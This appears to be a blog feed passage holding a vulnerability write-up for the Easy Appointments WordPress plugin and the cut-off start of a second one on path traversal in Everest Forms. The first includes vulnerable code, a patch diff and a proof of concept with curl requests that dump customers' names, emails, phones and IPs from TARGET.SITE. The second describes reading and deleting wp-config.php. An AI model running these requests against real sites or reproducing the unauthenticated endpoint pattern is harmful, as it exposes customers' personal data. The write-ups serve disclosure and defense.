&lt;p&gt;The Easy Appointments plugin exposes a REST API endpoint at &lt;code&gt;/wp-json/wp/v2/eablocks/ea_appointments/&lt;/code&gt;. All versions up to and including 3.12.21 are affected.&lt;/p&gt;
&lt;p&gt;The plugin registers this endpoint with &lt;code&gt;&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;&lt;/code&gt;. This WordPress function always returns &lt;code&gt;true&lt;/code&gt;, so the endpoint accepts any request without checking who sent it.&lt;/p&gt;
&lt;p&gt;As a result, unauthenticated attackers can pull full customer appointment data: names, email addresses, phone numbers, IP addresses, appointment descriptions, and pricing.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;Here is how the vulnerability works in the source code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;ea-blocks/ea-blocks.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Route registration (line 186–192):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The REST API route is registered inside a &lt;code&gt;rest_api_init&lt;/code&gt; action hook with &lt;code&gt;&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;&lt;/code&gt;. The WordPress core function &lt;code&gt;__return_true&lt;/code&gt; unconditionally returns &lt;code&gt;true&lt;/code&gt;, meaning WordPress will call the endpoint&apos;s callback for any request — authenticated or not.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;rest_api_init&apos;, function () {
    register_rest_route(&apos;wp/v2/eablocks&apos;, &apos;/ea_appointments/&apos;, [
        &apos;methods&apos;  =&amp;gt; &apos;GET&apos;,
        &apos;callback&apos; =&amp;gt; &apos;easy_ea_block_get_appointments&apos;,
        &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;, // Secure this if needed
    ]);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Route callback (lines 81–108):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;easy_ea_block_get_appointments()&lt;/code&gt; reads optional &lt;code&gt;location&lt;/code&gt;, &lt;code&gt;service&lt;/code&gt;, and &lt;code&gt;worker&lt;/code&gt; query parameters (all safely cast to &lt;code&gt;int&lt;/code&gt;), then delegates to &lt;code&gt;easy_ea_block_get_all_appointments()&lt;/code&gt;. This function performs no authentication or authorization checks.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function easy_ea_block_get_appointments(WP_REST_Request $request)
{
    global $wpdb;

    $location = intval($request-&amp;gt;get_param(&apos;location&apos;));
    $service  = intval($request-&amp;gt;get_param(&apos;service&apos;));
    $worker   = intval($request-&amp;gt;get_param(&apos;worker&apos;));

    $data[&apos;location&apos;] = $location;
    $data[&apos;service&apos;]  = $service;
    $data[&apos;worker&apos;]   = $worker;
    $result = easy_ea_block_get_all_appointments($data);
    return $result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Database query (lines 110–167):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;easy_ea_block_get_all_appointments()&lt;/code&gt; runs &lt;code&gt;SELECT * FROM wp_ea_appointments&lt;/code&gt; (filtered optionally by location, service, or worker). The &lt;code&gt;*&lt;/code&gt; projection returns every column in the appointments table.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT * FROM $tableName WHERE 1 {$location}{$service}{$worker}{$status}{$search} ORDER BY id DESC&quot;;
$sql   = $wpdb-&amp;gt;prepare($query, $params);
$apps  = $wpdb-&amp;gt;get_results($sql, OBJECT_K);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — Custom field enrichment (lines 170–182):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;easy_ea_block_get_fields_for_apps()&lt;/code&gt; then runs a second query to fetch all custom field values for the returned appointments and attaches them as properties:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT f.app_id, m.slug, f.value
          FROM {$meta} m
          JOIN {$fields} f ON (m.id = f.field_id)
          WHERE f.app_id IN ($apps)&quot;;
$result = $wpdb-&amp;gt;get_results($query);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Schema of &lt;code&gt;wp_ea_appointments&lt;/code&gt; table (from &lt;code&gt;src/install.php&lt;/code&gt; lines 67–92):&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;int&lt;/td&gt;
&lt;td&gt;Appointment ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;varchar(255)&lt;/td&gt;
&lt;td&gt;Customer full name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;email&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;varchar(255)&lt;/td&gt;
&lt;td&gt;Customer email address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;phone&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;varchar(45)&lt;/td&gt;
&lt;td&gt;Customer phone number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;date&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;date&lt;/td&gt;
&lt;td&gt;Appointment date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;start&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;time&lt;/td&gt;
&lt;td&gt;Start time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;time&lt;/td&gt;
&lt;td&gt;End time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;text&lt;/td&gt;
&lt;td&gt;Appointment description / notes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;status&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;varchar(45)&lt;/td&gt;
&lt;td&gt;Status (pending, confirmed, cancelled…)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;price&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;decimal(10,2)&lt;/td&gt;
&lt;td&gt;Price charged&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;varchar(45)&lt;/td&gt;
&lt;td&gt;Customer IP address at booking time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;session&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;varchar(32)&lt;/td&gt;
&lt;td&gt;Session hash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;int&lt;/td&gt;
&lt;td&gt;Linked WordPress user ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;customer_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;int&lt;/td&gt;
&lt;td&gt;Customer record ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;created&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;timestamp&lt;/td&gt;
&lt;td&gt;Creation timestamp&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The REST endpoint &lt;code&gt;/wp-json/wp/v2/eablocks/ea_appointments/&lt;/code&gt; is registered with &lt;code&gt;&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;&lt;/code&gt;. The WordPress documentation explicitly warns against this in production: &lt;code&gt;__return_true&lt;/code&gt; is intended as a placeholder and bypasses all access control. WordPress relies entirely on the &lt;code&gt;permission_callback&lt;/code&gt; return value to gate a REST route. When it returns &lt;code&gt;true&lt;/code&gt;, the request proceeds to the callback with no further checks.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;Nothing else in the code provides a safety net. The callback performs no &lt;code&gt;current_user_can()&lt;/code&gt; check, no nonce verification, and no session validation before executing the database query. WordPress also serves this namespace through the standard &lt;code&gt;wp-json&lt;/code&gt; REST API entry point, so any WordPress installation exposes it by default.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;Any unauthenticated attacker can dump the complete appointments database of a site running Easy Appointments &amp;lt;= 3.12.21. Exposed data includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Customer full names and contact details (email, phone)&lt;/li&gt;
&lt;li&gt;Customer IP addresses at the time of booking&lt;/li&gt;
&lt;li&gt;Appointment dates, times, and descriptions&lt;/li&gt;
&lt;li&gt;Appointment pricing&lt;/li&gt;
&lt;li&gt;WordPress user IDs linked to appointments&lt;/li&gt;
&lt;li&gt;All custom field values (which may include additional PII entered by site-specific forms)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is a full, zero-interaction customer data breach that requires only network access to the target site.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. Do not use against systems you do not own or have explicit written authorization to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;easy-appointments&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 3.12.21&lt;/li&gt;
&lt;li&gt;No authentication required&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Confirm the endpoint is exposed&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send an unauthenticated GET request to the REST API endpoint. No tokens, cookies, or credentials are needed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/&quot; | head -c 500
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A successful response returns a JSON array of appointment objects. A 401 or 403 response indicates the site is patched or the plugin is not active.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Dump all appointments&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/&quot; \
  -H &quot;Accept: application/json&quot; \
  | python3 -m json.tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each item in the array is one appointment record. It includes fields such as &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;phone&lt;/code&gt;, &lt;code&gt;ip&lt;/code&gt;, &lt;code&gt;date&lt;/code&gt;, &lt;code&gt;start&lt;/code&gt;, &lt;code&gt;end&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;price&lt;/code&gt;, &lt;code&gt;status&lt;/code&gt;, &lt;code&gt;created&lt;/code&gt;, and any custom field slugs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Filter by service, location, or worker (optional)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The endpoint accepts optional integer query parameters to filter results. These parameters are safely cast to &lt;code&gt;int&lt;/code&gt; server-side, so they cannot be abused for injection — but they can be used to filter results by segment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Appointments for service ID 1
curl -s &quot;https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/?service=1&quot;

# Appointments for a specific worker
curl -s &quot;https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/?worker=2&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker receives the full appointments table contents as a JSON array, including PII for every customer who has ever made a booking through the plugin.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm exploitation by checking that the response JSON array contains non-empty &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;phone&lt;/code&gt;, and &lt;code&gt;ip&lt;/code&gt; fields. Cross-reference a known appointment (e.g., one you created as a test user) to verify the data matches real records.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Only one file contains the security-relevant change:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ea-blocks/ea-blocks.php&lt;/code&gt;&lt;/strong&gt; — two hunks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;easy_ea_render_fullcalendar_block()&lt;/code&gt; (line ~59):&lt;/strong&gt; A nonce is now generated server-side and injected into the frontend block&apos;s inline JavaScript data object so the JavaScript client can send it with API requests.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;REST route registration for &lt;code&gt;/ea_appointments/&lt;/code&gt; (line ~188):&lt;/strong&gt; The &lt;code&gt;&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;&lt;/code&gt; is replaced with a closure that enforces proper access control.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Other files changed in the release (&lt;code&gt;src/ajax.php&lt;/code&gt;, &lt;code&gt;src/api/apifullcalendar.php&lt;/code&gt;, &lt;code&gt;src/mail.php&lt;/code&gt;, &lt;code&gt;src/options.php&lt;/code&gt;, &lt;code&gt;src/templates/admin.tpl.php&lt;/code&gt;, etc.) contain unrelated feature updates and UI improvements.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// BEFORE (vulnerable)
&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;, // Secure this if needed

// AFTER (patched)
&apos;permission_callback&apos; =&amp;gt; function ($request) {
    $nonce = $request-&amp;gt;get_header(&apos;X-WP-Nonce&apos;);

    if (! wp_verify_nonce($nonce, &apos;wp_rest&apos;)) {
        return new WP_Error(
            &apos;rest_forbidden&apos;,
            &apos;Invalid nonce&apos;,
            [&apos;status&apos; =&amp;gt; 403]
        );
    }

    return current_user_can(&apos;manage_options&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The patch applies a two-layer guard:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nonce verification&lt;/strong&gt; — &lt;code&gt;wp_verify_nonce($nonce, &apos;wp_rest&apos;)&lt;/code&gt; validates the &lt;code&gt;X-WP-Nonce&lt;/code&gt; header. WordPress REST nonces are tied to a logged-in session. An anonymous request has no session, so it cannot produce a valid nonce and will always fail this check.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Capability check&lt;/strong&gt; — Even if a valid nonce is present, &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; restricts the endpoint to &lt;code&gt;administrator&lt;/code&gt;-level users only.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The plugin generates this nonce server-side inside &lt;code&gt;easy_ea_render_fullcalendar_block()&lt;/code&gt; using &lt;code&gt;wp_create_nonce(&apos;wp_rest&apos;)&lt;/code&gt;. It passes the value to the JavaScript bundle as &lt;code&gt;window.eaFullCalendarData.nonce&lt;/code&gt;, so the legitimate block frontend can authenticate its own requests.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Residual risk note:&lt;/strong&gt; The sibling endpoint &lt;code&gt;/wp-json/wp/v2/eablocks/get_ea_options/&lt;/code&gt; (registered at line 73–79) retains &lt;code&gt;&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;&lt;/code&gt; in version 3.12.22. This endpoint returns location, service, and worker names/IDs — non-PII configuration data needed to populate the block&apos;s booking form dropdowns for anonymous visitors. The risk from that endpoint is low, but site owners should be aware it remains publicly accessible by design.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/ea-blocks/ea-blocks.php
+++ b/ea-blocks/ea-blocks.php
@@ -59,6 +59,7 @@ function easy_ea_render_fullcalendar_block($attributes)
         &apos;location&apos; =&amp;gt; $location,
         &apos;service&apos;  =&amp;gt; $service,
         &apos;worker&apos;   =&amp;gt; $worker,
+        &apos;nonce&apos;    =&amp;gt; wp_create_nonce(&apos;wp_rest&apos;),
     ]) . &apos;;&apos;,
     &apos;before&apos;
 );

@@ -187,7 +188,20 @@ add_action(&apos;rest_api_init&apos;, function () {
     register_rest_route(&apos;wp/v2/eablocks&apos;, &apos;/ea_appointments/&apos;, [
         &apos;methods&apos;  =&amp;gt; &apos;GET&apos;,
         &apos;callback&apos; =&amp;gt; &apos;easy_ea_block_get_appointments&apos;,
-        &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;, // Secure this if needed
+        &apos;permission_callback&apos; =&amp;gt; function ($request) {
+
+            $nonce = $request-&amp;gt;get_header(&apos;X-WP-Nonce&apos;);
+
+            if (! wp_verify_nonce($nonce, &apos;wp_rest&apos;)) {
+                return new WP_Error(
+                    &apos;rest_forbidden&apos;,
+                    &apos;Invalid nonce&apos;,
+                    [&apos;status&apos; =&amp;gt; 403]
+                );
+            }
+
+            return current_user_can(&apos;manage_options&apos;);
+        }
     ]);
 });
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 17, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 17, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.12.22 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;easy-appointments&lt;/code&gt; plugin to version &lt;strong&gt;3.12.22&lt;/strong&gt; or later.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible, you can block the endpoint at the web server or WAF level by denying access to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/wp-json/wp/v2/eablocks/ea_appointments/
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/easy-appointments/tags/3.12.19/ea-blocks/ea-blocks.php#L190&quot;&gt;plugins.trac.wordpress.org — ea-blocks.php#L190 (tag 3.12.19)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/easy-appointments/trunk/ea-blocks/ea-blocks.php#L190&quot;&gt;plugins.trac.wordpress.org — ea-blocks.php#L190 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/easy-appointments/tags/3.12.19/ea-blocks/ea-blocks.php#L141&quot;&gt;plugins.trac.wordpress.org — ea-blocks.php#L141 (tag 3.12.19)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3485692/easy-appointments/trunk/ea-blocks/ea-blocks.php&quot;&gt;plugins.trac.wordpress.org — changeset 3485692&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?old_path=%2Feasy-appointments/tags/3.12.21&amp;amp;new_path=%2Feasy-appointments/tags/3.12.22&quot;&gt;plugins.trac.wordpress.org — diff 3.12.21 → 3.12.22&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-21T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5478: Path Traversal File Read in Everest Forms</title><link>https://hurayraiit.com/blog/cve-2026-5478-path-traversal-file-read-in-everest-forms/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5478-path-traversal-file-read-in-everest-forms/</guid><description>CVE-2026-5478: CVSS 8.1 path traversal in Everest Forms lets unauthenticated attackers read and delete arbitrary files, including wp-config.php.</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5478&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.1 (High)&lt;/strong&gt; unauthenticated path traversal vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/everest-forms/&quot;&gt;Everest Forms&lt;/a&gt; WordPress plugin. An unauthenticated attacker can inject a path-traversal payload into the &lt;code&gt;old_files&lt;/code&gt; parameter of any public form submission. The plugin then attaches the targeted files — including &lt;code&gt;wp-config.php&lt;/code&gt; — to the admin notification email. After the email is sent, that code also calls &lt;code&gt;unlink()&lt;/code&gt;, permanently deleting the file from the server.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Everest Forms – Contact Form, Payment Form, Quiz, Survey &amp;amp; Custom Form Builder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;everest-forms&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5478&quot;&gt;CVE-2026-5478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.1 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Read and Deletion via Path Traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/everest-forms.3.4.4.zip&quot;&gt;&amp;lt;= 3.4.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/everest-forms.3.4.5.zip&quot;&gt;3.4.5&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 20, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/le-bao&quot;&gt;ll&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/everest-forms/everest-forms-344-unauthenticated-arbitrary-file-read-and-deletion-via-upload-field-old-files-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Everest Forms plugin for WordPress is vulnerable to Arbitrary File Read and Deletion in all versions up to, and including, 3.4.4. The plugin treats &lt;code&gt;old_files&lt;/code&gt; data from public form submissions as trusted server state. It converts those URLs into local filesystem paths using simple regex replacement — without canonicalization (resolving &lt;code&gt;..&lt;/code&gt; to the real path) or checking that the result stays inside the uploads folder.&lt;/p&gt;
&lt;p&gt;Unauthenticated attackers can inject path-traversal payloads into &lt;code&gt;old_files&lt;/code&gt;. The plugin attaches the targeted files — including &lt;code&gt;wp-config.php&lt;/code&gt; — to the admin notification email. The same path resolution runs in the post-email cleanup routine. After sending the email, the plugin calls &lt;code&gt;unlink()&lt;/code&gt; on that path — permanently deleting the file.&lt;/p&gt;
&lt;p&gt;This can lead to full site compromise through disclosure of database credentials and authentication salts from &lt;code&gt;wp-config.php&lt;/code&gt;, and denial of service through deletion of critical files.&lt;/p&gt;
&lt;p&gt;However, three conditions must be met for the attack to work.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prerequisite:&lt;/strong&gt; The Everest Forms &lt;strong&gt;Save and Continue&lt;/strong&gt; addon must be active (defines &lt;code&gt;EVF_SAVE_AND_CONTINUE_VERSION&lt;/code&gt;), the form must contain a file-upload or image-upload field, and the form setting &lt;strong&gt;&quot;Disable storing entry information&quot;&lt;/strong&gt; (&lt;code&gt;disabled_entries = 1&lt;/code&gt;) must be enabled.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;h4&gt;Step 1 — Reading &lt;code&gt;old_files&lt;/code&gt; from POST with no sanitization&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/class-evf-form-task.php&lt;/code&gt; (line 546–548)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( in_array( $field_type, array( &apos;file-upload&apos;, &apos;image-upload&apos; ) ) &amp;amp;&amp;amp; defined( &apos;EVF_SAVE_AND_CONTINUE_VERSION&apos; ) ) {
    $field_submit[&apos;new_files&apos;] = isset( $_POST[ &apos;everest_forms_&apos; . $form_id . &apos;_&apos; . $field_id ] ) ? stripslashes_deep( $_POST[ &apos;everest_forms_&apos; . $form_id . &apos;_&apos; . $field_id ] ) : array();
    $field_submit[&apos;old_files&apos;] = isset( $_POST[ &apos;everest_forms_&apos; . $form_id . &apos;_old_&apos; . $field_id ] ) ? stripslashes_deep( $_POST[ &apos;everest_forms_&apos; . $form_id . &apos;_old_&apos; . $field_id ] ) : array();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;stripslashes_deep()&lt;/code&gt; only removes backslash escaping — it does &lt;strong&gt;not&lt;/strong&gt; validate the content. An unauthenticated attacker can supply any array of JSON strings in &lt;code&gt;everest_forms_{form_id}_old_{field_id}[]&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Step 2 — Merging injected &lt;code&gt;old_files&lt;/code&gt; into &lt;code&gt;$data&lt;/code&gt; without URL validation&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/abstracts/class-evf-form-fields-upload.php&lt;/code&gt; (lines 1306–1318)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( isset( $field_submit[&apos;old_files&apos;] ) ) {

    $old_data = array_map(
        function ( $file ) {
            $decoded = json_decode( $file, true );
            return is_array( $decoded ) ? $decoded : array();
        },
        $field_submit[&apos;old_files&apos;]
    );

    $data = array_merge( $data, $old_data );
}
&lt;/code&gt;&lt;/pre&gt;
